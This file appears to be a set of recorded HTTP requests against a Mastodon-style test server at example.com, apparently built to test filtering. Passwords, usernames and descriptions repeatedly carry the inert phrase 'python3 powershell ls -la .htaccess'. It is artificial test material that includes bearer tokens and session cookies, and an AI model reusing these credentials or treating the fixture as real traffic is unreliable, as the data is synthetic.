{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 559", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=NglnaxnLFMVlf5ZAunGS0fFRqi5AJCjW4eeXYmjovqWlIzK1xoBbJJF0g06UbGPopY43%2F7NUq3Djl6IqqTlceUnrMkD72K0T9o38nWnrKVH7ZXZYc8L8Fa7%2BL0%2BGj17Oec96wM47erzx54rTfcF%2FVCT0jymUhqqZ6zvVAYvf9nXTQ7sohN5BsAqnJxjQn%2FjqRME%2FzfAa%2FIQnIp2UrfubVtT0SyQPu1wmnXAQJKhufLZ%2BVYL0%2FaPsNmwccfJB4MYGwEPLrWuv5WutoqJKjBF5Bu5ysSuPwV54Bu6FNF3WIUH%2BCfihnt2%2BMzYyjUHqRUrweN%2F2mUBtD9IuvvZfWSdxjKpMNwFcWwUee188bqvte6uNbyQg24K3T4a48NW9--PAr42Iv8Qh4Q%2F1OP--Cg7%2Fq7D4I6JJUSN8RbVbfg%3D%3D"], "body": "authenticity_token=9ftdYZLUt7oUyL7IuGz-VW58G1kmeQ6SZm0PM3MIksgwu74RMqvDwD9xa4UKZFpETI6LE2QGJgoIwR0VzTVX-Q&user%5Baccount_attributes%5D%5Busername%5D=python3&user%5Bemail%5D=walker.three%40example.com&user%5Bpassword%5D=python3+powershell+ls+-la+.htaccess&user%5Bpassword_confirmation%5D=python3+powershell+ls+-la+.htaccess&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&user%5Binvite_request_attributes%5D%5Btext%5D=I+write+about+python3%2C+powershell%2C+ls+-la+and+.htaccess.&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
|
||||||
|
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 561", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=2FZKvKNQ2m7%2FRKQQ6G01rECetZjH6uow7M%2FKkDrwQhJ95Z6iev8OGRqnS6mLFVrdN%2BumyjJ7%2BwGbbgHiBmoRWJI4%2Fm7R1rBsp9fmLfVUNi2yEVMW%2BbNWuRVs9T0DRArzh9xLGEqRQzzbcjAz4ibLWWUKf2521pVapDRptptqbP3PiWYGo%2Bh3pb5rBNQ%2FCoP02Q3nTM%2BuUdOwBe8D%2BNhMgu6wf8T2mS9AdCRJhHTLg595SkQ6yUT8PXAujS6EUia%2FfcYHruYbiZzGHBZvY3RIyFItcY9uEe1yelFNFHTPnWyakX7HMEesVPYUpD5T0pFhD3ZYFBGvd0JvBTqGyIs1nVuaPej01iz8GSogs0jPETBz%2FQMMKF8AzTX4ftdv--7qUHdgydk0YKuoPs--wHHFUDqMYtBhHV%2FfnZoiPw%3D%3D"], "body": "authenticity_token=AGsWgFUWRkHf-If5pG-QkEiWW9afcJ-4Qzt8pcfBFgyuTkAhQXULAQC_niNIAjDm2FI5gDaeSmmYe5A7uAVbbg&user%5Baccount_attributes%5D%5Busername%5D=powershell&user%5Bemail%5D=walker.four%40example.com&user%5Bpassword%5D=python3+powershell+ls+-la+.htaccess&user%5Bpassword_confirmation%5D=python3+powershell+ls+-la+.htaccess&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&user%5Binvite_request_attributes%5D%5Btext%5D=I+write+about+python3%2C+powershell%2C+ls+-la+and+.htaccess.&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
|
||||||
|
{"method": "POST", "target": "/settings/migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 246", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NTA6NTIuNTUxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9a2ba682b9ef8647c01874fa9c6e02a34b8d2a23; _mastodon_session=oCl1ScElEesgfMt1Oqq0JxCk%2BRR1I7UYa0m3OuDBgMQrEXf9QAfmrXp0ApxWfuR66ZCKHPSll1SrN7RINLDihO%2BsXFalopd1rHsoiUeA8DitXZWzsT2OEoSw2m0UjajNAkukb5iLulNMwQ33Lb2PdvvE4YJcwDTvLT8Rp%2Bc1cOMD6mC%2FAowpj94Jo19EPZhP9AxyLzOr4JyRU7Eebvi7GbQUul8dF6g97LetrlYCdbGjvTG1jp53XL8fmtIVLQR7DTLqKKfZheuedq4jBr%2FLY3kiLIe6o8pYH1%2Fso6MB%2FZi77X3BFzMNiWwFFMLvN9pPtd6psZp%2FkEsXFI%2B7jK9F9yzBWBNSbkqfwKQHxIl2V0HRyEloZ2Y9B7D%2FuemBOgTNBKI9bzCX77RF--%2F6Y%2B2HuYNjac%2BuqW--vSQfMjjNEtEbgfO6hgmzig%3D%3D"], "body": "authenticity_token=9NzX4CJeJNh28E4NZypKtK7paQNdIkoCBfhNjmPkhrhtSJnoJ-s17ut0FPBstSRmE9wCdKJtH_E5kybjYk9IXg&account_migration%5Bacct%5D=carol%40remote.example&account_migration%5Bcurrent_password%5D=wrong+python3+powershell+ls+-la+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/settings/migration/redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 238", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration/redirect/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NTE6MDEuMDY2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--49efc9c543ef26a29c1001a2884cb924d46b77ec; _mastodon_session=%2FVSMLdxIeDtT1KiLADO066GUlJM0O8dB97KKINddAwI%2BEgQUwD63d2SCVi1%2FYc4QtmWo89AZCJyhsCBy7lwzd09PEN7s57dPD9HQhznVnSx%2FRTd30L7Th5JsnZAiM6oiICVsKRZAKhhhv7vSkIR5vq11a7nx%2FuwWlI%2Fa0JZZz9cBQ205ed71FIRQnUWOME9rQ7edO5GJkTAyEqZ7%2FscoODji5m11m3QbDWRoV%2BZEfpII9s6j670xGZSM%2F%2Bkq%2BTwTqBRyDA4%2BHcANf288cNw7Col0X3vyFSP7oddd%2F4T6QY1mORO%2F%2FfZbcNYVPWxZP2CfMTb4kwDG5M4hn0n%2FHtGpBcqUa6OEvPo2X4pJe3Yw9FsTFvJDoAwp%2BUVWgrpRIh8ZPzALHudKCkT2--jSo8IxL7MN7CLkfc--0IxxuNjugNLNTjv%2F4Kx3MA%3D%3D"], "body": "authenticity_token=ox3XRZYbL-_XXKt3ZwrFpC0pf2KM7DOsQ2wLF3jQPb3QPu0vSgTGpWhYxLKEngZYJHoOX8kChAr2VmdwZv-hHg&form_redirect%5Bacct%5D=carol%40remote.example&form_redirect%5Bcurrent_password%5D=wrong+python3+powershell+ls+-la+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/settings/delete", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 252", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/delete", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NTE6MDkuMDA3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6b7cb3ead34788a808d88df18d1523edf7f79504; _mastodon_session=Isfkwmm9wyDUAXY99lpsrmRkyEmleAXgSsWKV9c9auxameuaC%2FAVOAQ6GOuPyWzqMh2nGM3UdSJhdhSZeXIZKpQaWbXIoKDlV%2F59nbFB%2BEu0UDu3m6%2BWNtiI70tW0yIXpcpyJ8T3R3TvEwFaTFdyRCoZdUCCJs6MtgaEVE4VSMLnImxxCpvL7PruK3zY%2Faz%2BmJnsYdNVP4YJlEsE7wBOqS1FEH1oQJbfUJCMKGCTvRI7xQECNYoKTuNoO4VpxEzVkYpKxIhP311%2Fru9RtZKkt440a3kHPEl%2BDBqFs6d6Wr%2BMBQiV%2FmFJuGTo7yyQK5xaBXU7SCdtM6N6pa8JoYgwaa99XE6Qhc46lmuSywhatvqbcl%2FEbzN4yWyCYaBf3haJzLXS4%2BS5CjkI--Hf45B%2FqY7SVO6GI3--hIpK%2BY2PsRuMczDDa0h3OA%3D%3D"], "body": "_method=delete&authenticity_token=tGE8Y95GTANAgK1zl_lpt316LfAlkbtuN--tj_HmzlpsNzVFeYrlyXMkTSLvXW0x_FGu4FyJ4NSI0X2HQXLZXA&form_delete_confirmation%5Busername%5D=bob&form_delete_confirmation%5Bpassword%5D=wrong+python3+powershell+ls+-la+.htaccess&button="}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer vmMlsmAFAQNuZlSlpzfhSsvcDzBzuidhQYYeg_z6FNE", "Content-Type: application/json", "Content-Length: 246"], "body": "{\"display_name\":\"python3 powershell ls -la .htaccess\",\"note\":\"Notes on python3, powershell, ls -la and .htaccess.\",\"fields_attributes\":[{\"name\":\"python3 powershell ls -la .htaccess\",\"value\":\"Notes on python3, powershell, ls -la and .htaccess\"}]}\n"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer vmMlsmAFAQNuZlSlpzfhSsvcDzBzuidhQYYeg_z6FNE", "Content-Length: 311", "Content-Type: multipart/form-data; boundary=------------------------NV7nwmuUZMQzjXshM4UEwZ"], "body": "--------------------------NV7nwmuUZMQzjXshM4UEwZ\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"Example .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n�PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000 \u0000\u0000\u0000 \b\u0002\u0000\u0000\u0000�\u0018��\u0000\u0000\u0000*IDATx�c8\u0011�AS�0j��\u0005�\u0016�Z0j��\u0005�\u0016�Z0j��\u0005�\u0016\f\u0015\u000b\u0000S\f\u0000L%jV�\u0000\u0000\u0000\u0000IEND�B`�\r\n--------------------------NV7nwmuUZMQzjXshM4UEwZ--\r\n"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer SpScyPs1_Cy60QMq93BGZk5ckrWfKbKN07lJz-lCC2A", "Content-Length: 186", "Content-Type: application/x-www-form-urlencoded"], "body": "username=python3_notes&email=notes%40example.com&password=python3+powershell+ls+-la+.htaccess&agreement=true&locale=en&reason=I+write+about+python3%2C+powershell%2C+ls+-la+and+.htaccess."}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer SpScyPs1_Cy60QMq93BGZk5ckrWfKbKN07lJz-lCC2A", "Content-Type: application/json", "Content-Length: 209"], "body": "{\"username\":\"riverwalker\",\"email\":\"riverwalker@example.com\",\"password\":\"python3 powershell ls -la .htaccess\",\"agreement\":true,\"locale\":\"en\",\"reason\":\"I write about python3, powershell, ls -la and .htaccess.\"}\n"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/media/117589930611612296", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 88", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: cHLohRLMISEgGIkSjmwNou0XjokvCgcD_ZBJvz1fyo7exC7CfxFrlZF0e0gfWcpOajJhWIjJuyj6QGt0oVj4ZA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDU6NDQuMzI1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5c5457e36301d33acbca267fbfb8faddac5c6cff; _mastodon_session=I6deLP1IFoK8qFgwDtD4vaOwMVPbhUOxEYsyE3SMSYGskdw%2FLankj9nIyr4zwMmJqKtcmU8RMzG%2BvXp%2BliuWVX7t1%2FXR5MLNoHdZpOKP6pV%2FYtsglEeKHISTtGlOVSDgv%2F3c6QlUr49y2s1LkTYug%2Fuy7n1F5VUTTkYFAhzGPwgzO7Ld3HHO0PH%2FEor%2BYYXDKcZWJG2wAOJPltmB0TJNT32GUaFOUhTBjzVvxuOHw5pFa%2B620RWHHoSBMNfbdrCyZy6gEOuj64jOjyiWL9Hzp1pNNMxs7o1LKsxuHQhLHbUH8ourqvKs67FCJac6gUtRjrmsSDSm5jfHH8BGerPasvc0sI%2BO2RXw1Wtc%2BpnLdfS6jxMKKMAHpiQ8e3NrQeZnH2RZKKD9awtv--Q0Ng1e0B9gxvUXjn--Kr5l3Ji5CTluLty6zPgU%2BA%3D%3D"], "body": "{\"description\":\"python3 and powershell scripts that edit .htaccess\",\"focus\":\"0.00,0.00\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/media/117589931233188084", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 69", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Udiuy4DCQF1usihPGfvcQfzXXO5XTwJ3cMfUcQYwwrT_bmiM7R8K6d_e2hWIzhute_KzP_CMvlx3F_a6mjfwXg", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDU6NTMuOTc3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a5b8f8eb1baa5b18bf81648b1b3822398f8720ba; _mastodon_session=zfGT1no5PSmOXNYN8x9tIEmGvyW1eZUVb%2FVirtpLvZJhuUVKBM%2Fa7coqbKKMQayGUU8cHLjnfjnoikdWsb%2F4dUYjbqHbpvdtAwh8YzG%2FDJRJ32wljvU%2FLIKPPZNTzfisU8k9Aps5Yvc5I8IujKvfZ2voYR4jRJQV5xYksmWPr3BqBJCbj5WA2s83e8zSBpG7iRXEZX%2FzB3jpXIVeS9vO%2B0C2xIIk6EsnYO9Ooj2o3pqvwUD6qu5qng4tROhY7r7AKQFhyfHIxNHyUv%2BGDZd1hwNBN6R7Zj7GvaFR54IU3U%2FgI3%2F3aSuIlso9Wxuczfhf3k%2FXocH7T%2BjhrvsiOfNlocKx042ds5qt2blSKUSVWDKMxuk1CdUqmwjbRbEUzq%2BusD%2BAliJuZWf1--%2BFwk%2BCtBy8QhW0VO--AEC8CgwvQV2bsvj8QgLVIA%3D%3D"], "body": "{\"description\":\"ls -la shows the .htaccess file\",\"focus\":\"0.00,0.00\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/statuses/117589825083661106", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 378", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 052MO-bxyrMKQNDcuQtGhfzzF9WgRpHIQmixxWfiqBp9K0p8iyyAB7ssIoYoPoFpe9b4BAeFLeNFuJMO--Wa8A", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Idempotency-Key: 31ebb2aa-b85a-437a-b035-4a4d9dbef767", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Accept-Language: en-US", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@admin/117589825083661106", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6MDUuNTc0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4e7f64070c30b274fde00ca0fba793c887a57025; _mastodon_session=vTiMcilvkngdiNyDnEVuGxqnaW74Qwfj74wyX843weyZa3P1dU6rPe1NAt7Q%2Fulf4ADiXy%2FVKZAtRU4fv%2FttkARyOb4s0Gw4%2FhageSOX%2F7BSz28E4iilHtEf2RYI6Z6Zep96NsySm6gSbOKSDGEnwP78Wu7allUqFjXupqkDq5Pser1GDJ%2BWjTDMgVSgVyIK27NREACuro%2FHgHrrSaboo6zK4pJL3kdsG28dxxlIPtFYao5CcL4Bgt%2FkJA6QSukZMRbGy2XO9OMf1bzg0efCpdkTt12bza9AYEbZofhatTPg0pwuSI7j4iLaaPn03GZ2xQV0xnVyO1cV%2BYQlU3HndXuZo0nHvC%2BhwBv%2BZLoOMRrhHxhE6g%2FxMxkul9shsh1URWAB5GkcqzSp--Irm3mg66BF7I8HOE--WH5SrwCEG8WJa7MIU8S85Q%3D%3D"], "body": "{\"status\":\"A picture from today's walk 0\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[\"117589824807968974\"],\"media_attributes\":[{\"id\":\"117589824807968974\",\"description\":\"python3 and powershell scripts that edit .htaccess\",\"focus\":\"0.00,0.00\"}],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/statuses/117589825712738194", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 359", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtIwScCo29MLFEZm9cD3EbxhPWXgyHrwxlVOGDgKwFUgZPYOrXWRZ7p4tDxk9TD9O0TStEcLxtvBhWzTpA3yvw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Idempotency-Key: f670050f-29dd-4c8e-850a-ffed28fd9644", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Accept-Language: en-US", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@admin/117589825712738194", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6MTguNjUwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fe685128ad0ceaa4d61dad71bac463f3bd144c41; _mastodon_session=ih%2B%2FTU%2BlVOgsdXlElykmwasz9rFq3Kf1OohI%2BF0NlT2eCS73Q%2FBorEHIM5SNJJxAYlejpgCTb7VrtEZCNzptofqKrulLDrrT1lVZ2IyyYHLMIcRwUT7vYLF5ixzBdM6qi1JYjwG6dZfGC4WROLrHM0td%2FpkXhaVCw883CdCo59kjoJuX%2FvGqymgIXIe9i9rTKM%2B0gbA4c6PLLrUUi9FdefkLsefQT8Tt6yLeMnADkl3s%2BEuUE30CUAnSefYLaYqFYP4ojY2ZWd4mbN2cZT1CIcTU%2BF7M6jAgRJnnLQP80iujxeVXgYFOWtWntsieAUt%2FvpmtbCJsYFv%2FCRHBPQpIs1FXd%2BnZcrZ0xNMCKSUdmdgIoF8v7AdzSAS3f2g%2FMogQPNp2U9kinKbL--pEQ%2FdnqZ1JXUZV9d--RPwXXw%2Fs4t%2BzB7ZFlTg%2B7A%3D%3D"], "body": "{\"status\":\"A picture from today's walk 1\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[\"117589825440074314\"],\"media_attributes\":[{\"id\":\"117589825440074314\",\"description\":\"ls -la shows the .htaccess file\",\"focus\":\"0.00,0.00\"}],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts/117589807710501347/note", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 64", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: BeIjgPb_Ki2P5nZ3rbFiObczGHXBLKj-9Shcx6sMZNqrVOXHmyJgmT6KhC08hKXVMBb3pGbvFNXy-H4MNwtWMA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6MzEuNzgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4c21ae4b488fa2497eeefd124ccc3ece1492f8b0; _mastodon_session=If5JeBG3TPA%2F8yN0NBk57vmu%2Be1GGiDsjRTdAD3QpoRk1n6%2BZC%2B10TInvEpKFH3ueb0mSyguaEgsOqcTIK0ATj50wX%2F2cLesedXd%2FoRqIhRSH8zf3nMmLG9zwsNI0u%2BszfJaQnL2Bt%2B5uBSJVNaaaO7KPtFlNmMh%2BGooI7j4qpO7z%2FdYeAaDvdhuvHEJWbeT%2FVuNa5lTrqophaXgXwEzLcdpdZwlz8iqLpz%2BLMBovNzNYVDIPC8KwubfqujKFz8DVpY%2FtoefQNS5ILphWCcrCGv7qxLcdmnJpARqRd%2B2SMsGOKpPqlJ0uamGe4t9JETSH87fsegRzImePo6%2FV0nkt%2FoXqxdYTssK7%2FrN60FFYQR3NEShZWPRIRADVFmk6r4XrFcXBEAYQBYB--1g3s7naZgr3V3LwF--ZcKbAHneB%2B8ngpSp9I0gJA%3D%3D"], "body": "{\"comment\":\"python3 and powershell scripts that edit .htaccess\"}"}
|
||||||
|
